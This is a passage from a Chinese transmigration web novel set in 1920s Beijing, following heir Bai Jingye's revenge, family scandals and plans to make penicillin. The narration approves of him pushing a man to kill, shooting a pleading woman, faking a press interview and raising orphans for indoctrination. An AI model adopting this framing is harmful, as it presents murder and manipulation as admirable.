“大少爷饶命!你不能杀我!我妹妹是你的姨奶奶!”
“唉”
张增致叹了口气:“白少爷,给他送警察局吧,我相信法律会公平处置的。”
白敬业一听愣在原地,被他的话气笑了。
玩呢?
我费劲巴力把他弄出来,结果你告诉我,要把他送警察局??
“我去**吧!”
白敬业一脚踢在张增致的肚子上,把他踢倒在地。
紧接着又一脚猛踹他的脑袋。
“**是不是废物!”
“警察局?仇人就在你眼前你都不敢报仇。”
“**一米八的个子有没有点血性!”
“就是因为你这样的人太多,才让他这种畜生逍遥法外。”
他薅着张增致的头发,把他的脸贴在杨亦增的面前。
“你告诉告诉我他是谁!”
张增致呜呜的哭了起来。
“你爹是**的!是让他逼死的!”
张增致的呼吸变得急促,眼圈泛红。
“你还要送警察局?他的妹妹是我们家姨奶奶!”
“我四大爷是警察厅厅长,你告诉我!法律能给你公正么!”
“我…我我”张增致咬牙,颤抖着又举起**。
“他妹妹怎么当上的姨太太!是因为他曾经亲手把自己的妹妹送进窑子里,被我爹看上了!”
“就算你能
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关他一年半载,他出来会放过你么!”
“你是不是想看到自己的妹妹臭死烂死在窑子里!”
“啊!!!”
“砰砰砰砰…”
张增致猛的扣动**,直到把弹匣清空还在不停的扣动。
白敬业一把夺过**,还不解气的踢了张增致一脚。
当张增致说要把他送到警局时,白敬业真的气坏了。
他终于明白为什么这个时期,我们国家被外敌欺辱的这么惨。
因为男人失了血性。
当人没了血性时,就是一头两脚羔羊。
五个鬼子兵可以看管两千人!
二十个鬼子可以接管一座城!
张增致有错么?他不敢**有错么?
没错
但软弱的善良,遇到邪恶一定会受伤!
这个世道不允许你软弱!
张增致应该感谢自己最后激发了血性。
不然迎接他的会是什么呢?
白敬业这个人不会给自己留下这么大的麻烦。
张增致擦了擦眼泪,带着妹妹扑通跪在白敬业面前。
“少爷,您帮我和妹妹报了大仇,以后我这条命就是您的!”
他说着就要给白敬业磕头。
白敬业一把给他薅了起来,“站起来!”
“大清都亡了,以后没人值得你跪!”
他说完环视一圈看向其他几人,“你们也是一样,以后跟着我,没人值得你们跪!”
白敬业从怀里拿出一个红布包,打开后露出两只玉镯。
他递到张月婷面前轻声道:“**遗物收好吧。”
“谢谢少爷,呜呜呜,谢谢少爷。”
小胡这时走了过来,凑到白敬业耳边,“少爷,这女人怎么办?”
白敬业瞥了一眼几米外吓得瑟瑟发抖的女人。
手上利索的上好**。
“砰!”
“把那些**用石灰水泡上,和这两个畜生一起埋了。”
白敬业这人从不是圣母。
当你共享富贵时,那么罪恶也应一并承担。
小胡咽了下口水,腿不住的发颤。
心想,自家少爷怎么突然变得**不眨眼。
一时间他也顾不得思考白敬业的枪是哪来的。
白敬业把手别在背后,他的手也在微微颤抖。
他前世是药物研究员,正经的技术宅。
常年泡在实验室化验药品。
第一次**他也不适应。
但他知道这一关早晚得过!
第21章 跪下!
盘尼西林!
这四个字代表着什么?
代表着金钱!
白敬业瞄向卡牌底部的注释。
注释:1943年美国弗洛里团队,在洛克菲勒家族支持下,完成青霉素量产。此卡包含青霉素制取工艺+工业量化生产工艺。
神卡!
如果说前面的越南地图对现在的白敬业,不如一包烟有用。
那这张卡就等同于送给白敬业一个聚宝盆。
战争白热化时期,一盒12支装的盘尼西林,在黑市上能换一条黄金!
现在的人可不像后世抗生素滥用后拥有抗药性。
一针标准剂量0.24克(40万单位)的盘尼西林药剂,完完全全可以治好一个伤兵。
不过白敬业没被喜悦冲昏头脑。
巨大的利益后面伴随的是巨大的风险。
“这个东西肯定不是自己能玩的转的,自己绝对守不住。”
后世要是有点好东西,都一堆人惦记呢,更别提民国了。
外有群狼,鹰酱、毛子、龟子、汉斯、高炉火鸡哪一个是好惹的。
不得把自己撕碎了啊。
内部还有日记家和他那四个吸血鬼家族。
“得想一条靠谱的路,盘尼西林贸然拿出来,等待自己的可能是刑场的一颗**。”
他这么想是有原因的。
抗战时期国内不是没有好药。
滇白药就是个例子,秘方掌控人被日记家扔进监狱活活逼死。
匹夫无罪、怀璧其罪
但他转念又一想,自己是不是陷入了误区。
为什么一定要执着于守住?
要知道拥有这项专利的洛克菲勒家族。
在鹰酱家族中排名前三、俄亥俄州的刀枪炮都被迫公开专利。
“与其提心吊胆,还不如用来掘起足够多的利益,除了小龟子,谁想要给谁不就完了么,操那个心?”
小龟子?
要是能狠坑他一顿也不是不行。
这玩意你给他书面步骤,做出来都可能是**。
而且盘尼西林一直到二战结束都是稀缺货。
自己手里的也不是新华夏纯量产的版本。
丝毫不用担心别人做出会给自己挤得没市场。
最重要的是自己一定要做,因为只有自己做才会给红方支援。
除了自己没人会把药品分给红方。
想到这,白敬业抽出剩下的两包卡。
开始整理这次的收获。
传说卡两张:地图、盘尼西林
史诗卡四张:两个技能、名刀枣泥、青霉哈密瓜。
稀有卡四十多张:十多把**、一堆****、五把98K、剩下的二十个技能点。
普通卡就杂了,香烟、香皂、饼干面条…,还特么有几个杜蕾斯。
他将十点分配在耐力上,剩下的3点力量,2点灵活。
突然,他觉得自己脑海中,像有开关被打开了一样。
麻酥酥的触电感,十分舒适。
面板
宿主:白敬业
力量:37
灵活:45
耐力:40
技能:英语LV1化学LV2蛊惑人心LV1经济学LV1(待学)
都收拾好后,白敬业拿出那本货币论开始研读。
人怎样才能成功?
多读书、多看报、少吃零食多睡觉。
好男人就是我,我就是白敬业o>_<o。
夜晚,小丫头木棉委屈巴巴的端着洗脚水进了书房。
白敬业发现她这一天都是这个死样子。
他疑惑道:“你怎么了?谁欺负你了?跟少爷说,我给你做主。”
小丫头欲言又止,好半天才小声道,“少爷,你是不是觉得我伺候的不好?”
“嗯?没有啊,为啥这么说。”
小丫头啪嗒小珍珠掉了下来,“少爷,你让那个张月婷和我一起伺候你,是不是我哪做的不好?”
白敬业无奈一笑,把张月婷放在自己身边,也是他思来想去的结果。
张增致好办,让他先跟着小胡。
张月婷是个麻烦,放老太太身边不合适。
二老太太身边的人太多,槐花、香秀,还有一堆小丫头。
放自己妈黄春那?也不合适。
张月婷太漂亮,万一咱们白七爷有点啥心思。
好么,白敬业等于给自己找了个妈。
白七爷爱玩点小丫头。
左一个槐花、右一个香秀的。
与其那样,不如先放自己身边。
木棉平时还要伺候唐幼琼,正好张月婷和她是个伴儿。
“就因为这点事?”
白敬业佯怒,将书往桌上一扔。
小丫头吓得低着头不敢吱声。
“啊?!少爷!”
突然,她整个人腾空,被白敬业一把抱起。
“嘿嘿!少爷我好好教训教训你。”
“少爷,少…爷!灯还没吹…”
事后,白敬业点起一根烟暗暗发誓。
下次一定把所有技能点都尼玛点耐力上!
……
时间像一头野驴,跑起来就不停。
这一周给白敬业忙坏了。
除了每天钻研那本货币论外,就是研究怎么把青霉素弄出来。
他决定先买个小院,制取一部分,然后再找个好靠山!
靠自己肯定玩不转,盘子弄得越大,自己就越安全。
后世那么多例子,他能不明白?
“白少爷,您是想买个四合院?”典当行的老板笑眯眯的问道。
“噗”
白敬业吐出瓜子皮点点头:“家里住着不舒坦,帮我找个二进的小院。”
看看
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这孙子现在说话多狂。
二进的四合院,最少四五百平。
在他嘴里现在就是小院。
谁让人家现在兜里有元子呢,除了剩下的三千多块还有十条大黄鱼!
“那您可来对了,我手里正有一套!保证适合您的身份!”
“适合我的身份?什么样的房子?说来听听。”
“西三条胡同有座二进的院子,原先是南边一个富商的。”
“这院子倒没什么特别的,关键是旁边住的邻居。”
“当今文坛大家豫才先生!豫才先生那座也是在我手里买下的。”
白敬业听见西三条胡同的时候,就知道是哪了。
豫才大师被弟弟和弟妹赶出来以后买的小院。
也不用掌柜多说,白敬业一拍桌子,“就它了,带我去看看。”
“得嘞!”
白敬业刚上了马车,看小胡苦闷着脸问道:“我说你又怎么了?”
“少爷,家里住的不挺好么?咱花这冤枉钱干嘛?”
“怎么滴,跟少爷住小院子不习惯?就喜欢那大宅门?”白敬业调笑道。
“我没那意思少爷,我就怕您多花冤枉钱。”
小胡除了爱磨叽,人是非常靠谱的。
但凡事情交给他,大可以放心,一时间白敬业还真离不开他。
“我买院子是有用的,先看看要是合适就买下来,你找人给院子好好修缮一下。”
“少爷!少爷!”
马车还没等动呢,就看见张增致风尘仆仆的跑了过来。
临出宅门的时候白敬业交代过,有事让他来典当行找他。
“怎么了?出什么事了!”
张增致气喘吁吁的说道:“少…少爷,快回去吧,二老太太让人寻你,说是有急事。”
“行,我知道了,你上车吧”
白敬业交代掌柜的明日再看,急匆匆赶回老宅。
一到老宅门前,他看见自己的爹白景琦也刚下马车。
白敬业硬着头皮上前叫了一声:“爸”
白景琦点点头,他最近一段很高兴,私下逢人就说儿子像他。
但一见面又摆出那副中国传统式父亲的模样。
“你又惹什么事让你奶奶知道了?”
白敬业反驳道:“什么叫我惹事了?你咋不说你惹事让奶奶知道了。”
“嘿,你个小兔崽子。”
“七老爷、少爷,赶快进去吧,老太太等着呢。”
老**管见两人来到迎了出来。
“什么事啊**管”
**管叹了口气:“进去再说吧。”
白敬业走进屋内,一看老太太面沉似水的靠在床边。
大房的大老爷、四老爷都在一旁站立。
“奶奶”白敬业笑着打了个招呼。
“跪下”
“啊?”
第22章 事发
白敬业懵了,心里犯嘀咕,自己也没惹事啊。
再一想老太太让跪就跪吧,跪自己奶奶有什么的。
他刚要弯下腰,二老太太又说话了。
“我是让你们三跪下!敬业来奶奶身边坐着。”
二老太太这一声吼。
哥三跪的一个比一个快,一点不敢放声。
二老太太在这个家里,拥有至高无上的话语权。
大房的四个孩子都是二老太太一手拉扯大的。
并且夺回百草厅后,分给大房最多的股份。
所以对二老太太比亲妈还尊敬。
白敬业挨着老太太想了想,自己还是站着吧。
亲爹、亲大爷跪自己面前,自己还坐着,有点不像样。
“槐花,拿给他们看看。”
槐花拿着几份报纸分给白七爷等人。
白敬业也拿过一份看了起来,一看恍然大悟。
原来是他之前和李主编设计的那篇撰文,这些日子他太忙,都给忘脑后去了。
白敬业仔细读过心里偷笑:“李主编用词还是那么霸道,哈哈哈”
明晃晃几个大字印在头版头条:百草厅白家家风有亏,纵容杨姓舅爷草菅人命!
上面记载了报社记者明察暗访,把杨亦增的那些破事都记录在案。
并且话语里暗讽着杨九红青楼出身,没什么道德底线。
其中还捏造了一段对白敬业的采访。
说什么白敬业掩面哭泣感叹家族对族人太过纵容。
自己改变不了,只能以身作则,捐出稿费补给受害者。
活脱脱一个道德标杆!
白景琦从头到尾看了一遍,脑瓜子嗡嗡的。
“妈…妈,这…这我真不知道。”
“你能知道什么!咳…咳”
“妈!二婶!”
二老太太气的直咳嗽。
白敬业赶忙上前帮她摩挲后背。
白景琦几个也想上前看看。
但二老太太哆哆嗦嗦的举着手,“跪下!给我跪着!”
哥三赶忙跪好,跪的一溜刷齐。
“老四、老七!我问你俩,姓杨的在外边放印子钱你俩知不知道!”
“我…我知道。”白景琦低下了头吞吞吐吐的说着。
白敬泗看老七坦白了,自己敢说不知道么,也低下了头:“二婶我也知道。”
白敬泗是北平警察厅的厅长,虽然他这厅长是家里花钱买来的,没太大的权利。
但北平四九城就那么大,哪个地方有地痞无赖他能不知道?
他这个人没什么太大的抱负,每个月领着家里的股息和薪水,安安稳稳的过日子。
顶多有点癖好爱听两场戏。
所以对啥事都睁一眼、闭一眼。
明知道杨亦增胡作非为,也碍着七弟的面子不去管。
二老太太听见他俩承认,火比刚才更大,“知道你们俩不管!看报纸上写着什么!”
“你们是让全北平的人,都在背后戳我们白家的脊梁骨!”
“咳咳咳~”
“二婶,您消消气,千万别气坏身子。”
白景怡不劝还好,这一劝老太太的火冲他就发了出去。
“我还没说你呢,你是当大哥的,就这么纵容弟弟!”
“以后白家是要交到你们手里,你让我**怎么见列祖列宗!”
二老太太眼含热泪哭了起来。
白敬业心想,“完了,事玩大了。别一把火给老太太气出病来。”
“奶奶,您消消气,多大点事啊,我跟报社打个招呼,咱们多赔点钱,这事也就过去了。”
老太太擦擦眼泪,拉着白敬业的手,“好孩子,苦了你了,摊上这么个不着四六的爹。”
白景琦心里一阵委屈,心里暗骂,“要不是这兔崽子,我能拿印子钱?”
老太太从白敬业手里拿过报纸,“老七!我再问问你,敬业的股息是怎么回事?谁让你断了他的股息!”
报纸上那段采访写着。
白敬业自己说以前做错了事。
家里不给股息啦,自己只靠稿费活着。
要不然会给受害者赔偿更多。
反正那叫一个凄惨。
“我…他那个…”
白景琦支支吾吾了半天,“之前政府派了几笔军饷,公中的银子周转不开,我就擅自做主停了他的股息。”
该说不说,白七爷真是孝子。
这时候还怕母亲生气,想办法替敬业遮掩。
老太太指着他,冲众人揶揄道:“瞧瞧,瞧瞧咱们的七爷!断亲儿子的股息,养窑姐的哥哥。你也能做的出来!”
“你是不是还打算,等我**让那个窑姐来掌家啊?”
白七爷吓得向前跪爬了两步,“妈!!我不敢!”
随后赶紧给白敬业使眼色,意思自己替你背这么大的锅,你赶紧帮说两句话。
白敬业心领神会,安慰道,“奶奶算了,多大点事,咱们事后补偿就完了,让四大爷该抓的抓,该毙的毙。”
“对对,二婶,我马上派人去抓人”
“再说钱也没事,孙子我现在能赚钱,等我赚了大钱,买个大宅子,给您和我妈接过去,我天天孝敬您。”
白敬业对付老太太画大饼,那是手到擒来。
没几句话就给二老太太逗得哈哈直笑。
“这样吧,你爸爸不给你,奶奶给!打今个开始,从我的股
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息里拿出来分给敬业。”
“咱们七爷的钱呢,爱给谁给谁。”
“妈!您别这么说,我马上安排给他股息补齐。”
白敬业眼珠转了转,“奶奶要不这样吧,咱们药行的小学不是快完工了么。”
“我拿我的股息再开两个班,咱们收养一些孤儿。”
“我最近也没什么事,我来当这个小学校长。”
“现在兵荒马乱的,多少人流离失所,咱们多出点力,让报社给咱们宣传宣传。”
二老太太欣慰的看着白敬业,“看看我孙子再看看你们!不争气!奶奶做主了,我拿钱办这个事。”
跪地下的这哥三赶忙表态,“二婶,怎么能让您花钱,我们都有钱。”
“是啊二婶,全族的事我们都出钱。”
这倒不是白敬业临时起意。
也不是他圣母。
这年头啥都缺,就是不缺穷人,想做事手里得有人。
可人心难测,与其慢慢遇不如从小养起来一批。
他早就打算收养一批**岁的孤儿,以前没钱没法做。
现在用着家里的钱养着他们。
给他们灌输思想。
等十年、二十年以后,哼哼!
众人哄好老太太,让槐花伺候着休息。
就都退出了正房。
白敬业呵呵一笑,挨着白景琦说道,“我说爸贝,今天我可替你解了围,你打算怎么谢我?”
“妈的,王八蛋”
白景琦咬着牙吼了一句“小胡!”
小胡赶忙上前。
“你去带人把杨亦增给我提溜回来。”
随后一提文明棍,风风火火的往新宅走去。
小胡看了一眼白敬业,心想,“提我是提不回来了,我能给你挖出来。”
白景泗此时一拍白敬业的肩头,“我说大侄子,你有事先跟我们几个通个气啊,你看二婶给我们骂的。”
“哎呦四大爷,您真冤枉我了,我也是昨天才知道,没给我反应时间,奶奶就知道了。”白敬业赶忙辩解。
“要不四大爷,我晚上请您听戏去?”
一提听戏白景泗来了精神,“那感情好啊,我跟你说,最近新来个角儿,叫孟冬儿!今晚和万小菊在三庆有一场《游龙戏凤》!”
白景怡一听这两个没六的玩意,脸一耷拉,“什么时候了,还想着听戏!赶紧办二婶吩咐的事!”
“老四,你去抓人!敬业,你往报社跑一趟。”
“大哥,真要抓着了怎么办?”
“废什么话!该毙就毙!”
白景怡是老好人,可白家这种大宅门,又有几个心慈手软的?
侮辱门风者,杀!
第23章 看戏(1)
正午时分,北平的街上人声鼎沸。
来往的车夫也顾不得饭口。
只为多赚上几个大子儿。
有活儿的脸上还能见到些许笑意。
没活儿只能蹲在墙角啃着手中的干粮。
还要感叹一句,“这世道**烂。”
前门外的酒馆儿里,酒客们看着报纸下酒。
讨论的都是最近北平发生的趣事。
什么郭靖弯弓射雕啦、吴大帅又消灭多少奉军、孟冬儿在三庆挑班……
最里面的一张桌,一个满脸横肉的大光头喝的五迷三道。
正向满脸络腮胡子的大汉诉苦。
“彪爷,最近**背。”
彪爷呷了一口酒笑道:“怎么了?你最近和白家那个杨爷走的挺近的么?”
“三天两头的大饭庄,你也没少赚。”
“嗨!您甭提了,杨爷最近也不知道哪去了,整个一人间蒸发,他那外宅也空了,活不见人。”
彪爷迷缝着眼,想起几天前在百花楼看见白敬业的事。
他记得那晚杨亦增就是去找的白敬业。
“我…”
彪爷刚想说点什么,门口一阵大乱。
几个巡警摇头晃尾巴的闯了进来。
酒馆掌柜的惊慌失色,连忙上前作揖。
“各位爷,这是怎么话说的,出什么事了?”
为首的巡警也没看他,“老贺头!没你的事,我们抓嫌疑犯,都把头抬起来。”
有个巡警眼尖用手一指大光头,“队长!人在那呢!”
队长脸上带着狞笑走了过去,“花猫?”
花猫喝的有点多再加上心情郁闷,没好气的说道,“谁喊爷爷我!”
“嘭!”
他话音刚落,一个巡警抡着警棍砸在他的后背上。
“**……”
花猫还想反抗,但被几个巡警围住,眼看警棍就要落下。
对坐的彪爷赶紧制止,“李队长,什么事这么大火气。”
“呦~彪爷也在,这事你可管不了,上边有令,缉拿**凶手花猫。”
花猫此时酒也醒了一半,“我…我没**,这是诬陷,彪爷您快救我啊。”
“李队长,这中间是不是有什么误会。”
李队长呵呵一笑,“没误会,我说彪爷,您早上没看报纸啊?杨亦增伙同花猫收取印子钱逼**命。”
“我劝您崩趟这浑水,白厅长亲自下的令,一定要毙了他们几个。带走!”
“走吧你!”
几个巡警推推搡搡押着花猫走出了酒馆。
酒馆外一个等活的车夫名叫文三儿,以前被花猫欺负过。
他看着花猫被押走的身影歪嘴直笑,冲着地上啐了一口。
“呸!好你个花猫,你也有今天,活该!你也不打听打听,得罪文爷的人,有几个有好下场。”
而在酒馆对面的小摊上,同样有人解了气。
“少爷,谢谢你帮我报仇”张增致满怀感恩的冲白敬业道谢。
白敬业连头都没抬,专心干着碗里的茶汤。
“老板,味儿不错再来一碗。”
他擦了擦嘴轻声道:“仇报完了以后就好好生活。”
“过几天有个活儿交给你,我准备在药行小学的附近盖一个宿舍,收养一些孤儿,你过去帮我盯着点。”
“少爷,我不太懂…”
白敬业抬手打断他的话,“不懂可以学,谁也不是一下生就什么都会,那个地方不懂多问问小胡。”
“是少爷,我一定做好。”
小胡此时一脸的愁容,“少爷,七老爷让我提溜杨亦增我得咋回啊?”
白敬业噗嗤一笑,“这还不简单,畏罪潜逃!”
小胡在外边特意多溜达了一会儿才回了新宅。
白景琦坐在正房里,脸黑的跟特么锅底似的。
他没去找杨九红,想先把杨亦增送进大牢再告诉她。
“七老爷,杨亦增不见了,他在外边我的外宅我也找了,里面东西都没了,估计是听见信儿跑了。”
小胡偷眼看了下白景琦,又赶紧撤回目光,太吓人。
“**,我看他能跑哪去!”
白景琦怒骂了一句,就往杨九红的四庭院走去。
此时杨九红已经得知杨亦增的事,她派红花出去找人也没找到。
正这时白景琦阴着脸走了进来。
“景琦,我哥他…”
“他人在哪?让他马上给我滚出来!**,在外边这么败坏白家的名声!我今天非剁了他!”
还没等杨九红说话,七老爷已经开始发火。
“景琦,你先别发火,这里肯定有误会。”
白景琦一瞪眼,“有什么误会!放印子钱逼得人家吞了烟膏子,这叫有误会!”
“你老老实实把他给我交出来!”
杨妻还想上来劝,“姑爷,我们真…”
“啪!”
白景琦一看她说话,反手就是一个大嘴巴!
七老爷发起火来可不管你是男是女。
“我告诉你,你马上给我滚出白家!”
“呜呜呜”杨妻吓得捂着脸趴在地上哭了起来。
杨九红也顾不得搀扶嫂子,拉着白景琦哀求道
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,“景琦,我真不知道他哪去了?他都能有半个月没露面了。”
白景琦看她的样不像是说谎,也压了压火气。
“他最好一辈子别露面,还有你!以后老老实实做你的姨太太,要不然你就给我一起滚出白家!”
……
三庆园
“军爷~做事理太差,不该调~戏我们好人家。”
“好人家~歹人家~不该斜插这朵海棠花。”
“……”
晚上,白敬业如约请四大爷来三庆听戏。
咿咿呀呀的,听的还挺有滋味。
这东西现场听和前世在手机看,完全是两个概念。
唱老生的是近期杀入北京的名角儿——孟冬儿。
京剧史上最著名的女老生,被誉为冬皇。
她和台上的这位万老板有过一段不太幸的婚姻。
她最著名的话就是,“我今后要么不唱戏,唱戏不会比你差。我今后要么不嫁人,嫁人也不会比你差。”
“我这里~将花der~丢在地上,踏来踏,从今后不带这朵海棠花~”
万小菊的唱词一出,台底下嗷嗷的叫好。
其中有个女人的叫好声盖过了所有人,吓了白敬业一跳。
“万小菊~,万小菊~”
紧接着就看一把一把的金银首饰和大洋被她扔在台上。
白敬业和白景泗对视一眼,俩人颇为无奈。
“我说四大爷,您说我这姑姑她瞧见我们俩了么?”
白景泗一撇嘴,“难说!这姑奶奶眼里就剩下万小菊了。”
扔首饰的自然是白家最大的富婆,和相片结婚的头号二次元,白玉婷。
二房的占总体股份的三成,这姑奶奶自己就占了一大股。
她手里的钱可不是白敬业那三瓜俩枣的股息能比的。
白玉婷扔首饰的时候,看得白敬业直心疼。
这特么能抽多少卡啊!
戏散了场,白敬业坐车刚到宅门口,就听见后边马车声响。
“这大半夜的,还有串门的?”
他一看愣住了,是姑奶奶白玉婷,没办法上前打招呼吧。
“姑姑,这大半夜的您怎么来了?”
“呦,是敬业啊,我来找你爸说点事,这么晚你上哪去了?”
白敬业一听心说,“好么,我就在你旁边坐着,愣是没看见我。”
“这不刚跟四大爷看完戏,万小菊的游龙戏凤。”
“呀!你也去看万小菊啦。”
一提起万小菊,白玉婷俩眼睛跟特么饿狼似的只放绿光,吓得白敬业打了个寒颤。
第24章 看戏(2)
现在已经是夜里十二点多,白景琦早和黄春躺下了。
门房一听姑奶奶找七老爷有急事,不敢耽搁连忙进去通传。
白家新宅可是四进的院子。
她这一来把整个府里的丫鬟、仆人全都折腾起来。
白玉婷拉着白敬业这顿聊啊,三句话离不开万小菊。
她可比后世的私生饭疯狂多了。
给白敬业烦的是没着没落,一直给她送到白景琦的正房。
此时白景琦和黄春都被她折腾醒了。
三**眼瞪小眼的看着白玉婷,不知道她为何而来。
“七哥!”
“怎么了?”
白玉婷直勾勾的盯着七爷,“我是真喜欢万小菊!”
白敬业心说,“好家伙,这特么可比今晚的戏好看多了。”
白景琦无奈道,“就因为这事,你把我这一院子的人都折腾起来?”
“这不是大事?我喜欢万小菊还不是大事?”
白玉婷无理取闹的样子,看得白敬业内心只乐,心想,“七爷你能耐呢?你拿脚丫子扇她啊!”
白景琦一生中最怕的两个女人,一个是二老太太,另一个就是白玉婷。
白景琦颇为无奈的,示意黄春回去休息。
“得,您俩聊吧,我回去睡觉”
白敬业刚想起身回书房,就被白景琦叫住,“你等会,一会我还有事和你说。”
白敬业心想,“你们不怕丢人,那我就坐这听”。
他抓起一把瓜子摇头晃脑的往沙发一瘫。
白七爷翘起二郎腿,和白玉婷面对面的坐着。
苦口婆心的劝道:“妹妹,哥知道你喜欢万小菊,可你得清楚,他…他是个戏子啊!”
“戏子怎么了!戏子不是人啊?”白玉婷反驳道。
白七爷一咂摸嘴,“没说他不是人,但谁都知道鹌鹑、戏子、猴!没人把他们当人。”
白玉婷撇撇嘴,“说这话的人都丧良心。”
白敬业卡巴卡巴嗑着瓜子,心中一阵冷笑,“哼,爸贝您这话也就现在说说还行,再过一百年你看看,敢说这话能让那些私生饭给你皮扒了!”
“敬业!”
白敬业正魂游天外呢,听见白玉婷叫他,吓得一激灵。
“怎么着,姑奶奶。”
“你说!说这些话的人是不是丧良心!”
“对对对!”
白敬业不停腹诽,和这精神病也讲不清理。
“七哥,我要嫁给万小菊。”
她的话一出,白景琦彻底懵逼。
他站起身原地晃悠了几圈,不停的给白敬业使眼色。
白敬业愣装没看见,数着手里的瓜子仁,“123……20个”
一把送入口中,真香!
“玉婷!你也得想想妈要是…”
“妈妈妈!又是妈!”
白敬业见状赶紧打圆场,“我说姑姑,您还别不乐意听,奶奶要是不点头,这一关您过不去!”
“没错”白景琦附和一声。
白玉婷冷哼一声,“哼!我就不会让妈知道,我先和万小菊成亲再说。”
“那万小菊要是不喜欢您呢。”
白玉婷脸色通红,瞪着眼,“不喜欢我?我这么喜欢他,他怎么可能不喜欢我。”
几句话怼的白敬业无言以对。
白敬业往回一坐,心想,“该!活该你单身一辈子!整个一精神病!”
最后给白景琦磨的没招,只能答应抽空去找万小菊说说。
等白玉婷走了以后,白敬业戏谑的拍了拍白景琦的肩膀。
“老白啊,你胆子真大,什么活都敢往身上揽!那万小菊,一个正房、一个姨太太,咱这姑奶奶去了往哪摆?”
白景琦正愁的没招,儿子还没大没小的打趣自己。
他怒喝了一声,“滚蛋!”
白敬业嘴角一勾迈步就要往外走。
“等等”
白敬业不明所以回头看着他。
白景琦从里屋拿出一个小盒,递给了白敬业。
“这什么啊?”
白敬业打开一看,里面是一摞银票,他抽出来数了数能有两千。
“这是我那股息?数也不够啊,老白”
白景琦终于忍不住了,冲他脑袋给了一脑拍,“**跟我说话走点脑子,我他妈是你爹!”
“呵呵,我也没说您不是啊。”
“你还有脸跟我提股息,要不是你,我至于背那么大的锅?这是给你办学的钱,家里情况你也知道,股息明年再说吧。”
白敬业就是开个玩笑,知道白景琦给他挤出两千已经不容易了。
白家那点流动现金都让直系政府榨干了,真拿不出太多。
而且安国这事自己也不占理,虽然不是自己干的。
但既然接过原主的身体,他做的孽就得担着。
“既然你接了差事,就好好做,别再出什么幺蛾子
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了。”
“知道了”
白敬业迈步往自己的院子里走,心道,“今晚上这场大戏,可真特么好看!”
第二天一大早
白敬业还在睡梦中就被小木棉摇醒。
“少爷,少爷别睡了,快醒醒”
“干嘛啊?”
“五老爷来了,在外边等着呢。”
白敬业一下就坐了起来,他揉揉眼睛,心想,“白景伍?这可是个人物!”
他赶紧擦了把脸,披上外套走出书房。
到外边一看白景伍在院中间等着呢。
怎么说呢,一打眼看过去白景伍这个人非常和善,让人看着非常舒服。
仔细端详,你会发现这人身上好像带着一层光。
整个人的气质让人忍不住想靠近。
“你怎么让我五大爷在院里站着……”
白景伍见他训斥木棉赶忙摆手,“是我要在这等你的,跟她没关系。”
白敬业笑道,“五大爷,什么事啊您这么早就来了。”
白景伍从怀里掏出一沓银票递给白敬业。
“昨天的事我听说了,这是我和父亲还有二哥,一起出的钱三千块,用来支持你办学的。”
白敬业接过谢道:“谢谢五大爷,您还亲自跑一趟,这大早上的,派人来说一声,我应该去拜访您。”
白景伍哈哈一笑,拍了拍白敬业的肩膀,“我上班早正好路过,这是件好事你要好好做,有什么需要的就来找我。”
“对了,我看了你写的小说文笔不错,有没有兴趣来政府做点事?”
“算了吧五大爷,我这点墨水可不成,我还是先把小学弄好吧。”
白敬业说着扬了扬手中的银票。
“行,那你就先忙,我上班去了。”
“五大爷慢走!”
白敬业看着白景伍的背影,心里只有崇敬。
白景伍是他在大宅门里为数不多,发自内心尊重的一个人。
年轻时法国留学,后来到了重庆政府,抗战时期牺牲在鬼子的**下。
法国是什么地方?
虽然白旗举的快。
但那是全世界红色政权的发源地!
所以白景伍身上的**,绝对值得考究。
换个角度来说,无论他是哪方的,他都是一个一心报国的人。
白敬业自问达不到他这种高度。
总有些事要高于生命,总有些人会义无反顾的去做。
第25章 买设备
“白少爷您瞅瞅,这是第二进,东厢房三间、西厢房三间。”
“方便您来个客人、朋友唔的在这小住。”
“你看这游廊也有讲究,彩绘的牡丹和白头翁,讲究的是富贵到白头!”
白敬业在典当行伙计的带领下,围着四合院转了几圈。
感觉不错,虽然有些年久失修,但整体保存的非常好。
稍微加以修缮便能入住。
最让白敬业高兴的是,这院子比别的多了一个大库房。
整体的挑高和空间,要比别的房间大出来许多。
正合适白敬业用来改造实验室的。
“不错,就这栋了!”
伙计喜出望外,这一笔佣金他算是拿到手了。
“少爷,那咱们回去?我把房契和地契都给您准备好。”
回典当行的路上,白敬业做着交代。
“回头小胡,你把房子好好修缮一下。”
“尤其是库房别怕花钱,墙面给我一水的贴上瓷砖,到洋行去定要最好的!”
“是,少爷”
小胡嘴上答应,内心止不住的腹诽,“我的少爷真是烧包!一个破库房往上贴鸡毛瓷砖啊!”
但他也知道劝不住。
“咳,少爷,您交代您舅舅和姥姥的事有眉目了”
“哦,找到他们老家了?”
“是,我和秉宽爷爷还有我爹都打听过,听说大格格的老家在科尔沁,现在归奉天管理。”
“奉天?”
白敬业一嘬牙花子,心道,“现在山海关正人脑袋打出狗脑袋呢,看来得过一段再派人去找。”
“这样,下午你让**和李贵来一趟,我有事交代他们。”
“好的”
到典当行交了钱,办好过户的各种手续。
白敬业又马不停蹄的赶往协和医院。
这几天他打听很多地方,都没有卖实验器具的。
在洋行里预定,起码要半年的时间。
哪怕是后世想购置顶级的实验器材,都不是一件容易的事。
更何况是在民国。
也幸亏是在民国,各类器材相对齐全,可以进行青霉素的制作。
千万不要相信回到古代能手搓青霉素。
没有显微镜、移液器这些专用的器材,你制作出来的东西就是一瓶要人命的**!
“咚咚”
“请进!”
白敬业敲门后,走进之前让他看猪有没有尾巴那个医生的办公室。
“哎呦~白先生,您怎么来了,是上回的伤没痊愈?”
白敬业伸出手和他握了一下,“您好,林主任,都好了,我这次是专门来看望您,上次麻烦您照顾,我还没感谢您呢。”
“白先生客气,我也很荣幸能给您治伤。最近您的大名可是如雷贯耳,您瞧。”
林主任一指桌上的报纸,“我正拜读您的大作呢。”
“哈哈,林主任谬赞了”
白敬业和他客套了几句,才开始切入正题。
“林主任,我最近闲来无事,对现代医学比较感兴趣,想买点器材,不知道您这有没有渠道。”
白敬业其实很反感把医学分成中医和西医。
在他看来,真正让人类进步的应该是现代医学。
西医是什么?
以前的西医只知道放血和灌肠。
而现代医学是将科学、技术等系统化,只不过在这方面西方确实起步的早。
林主任一听感到惊讶,“白先生是中医世家出身,怎么突然对这方面感兴趣了?”
白敬业摆了摆手,“活到老、学到老嘛,现代医学毕竟有他的优点,见效快而且对于中医也有一定影响。”
“我想着能不能了解了解,试一试中西医结合。”
白敬业的瞎话编的那叫一个溜。
他懂个屁的中医,药材他都认不全。
白敬业从兜里掏出张单子递给他。
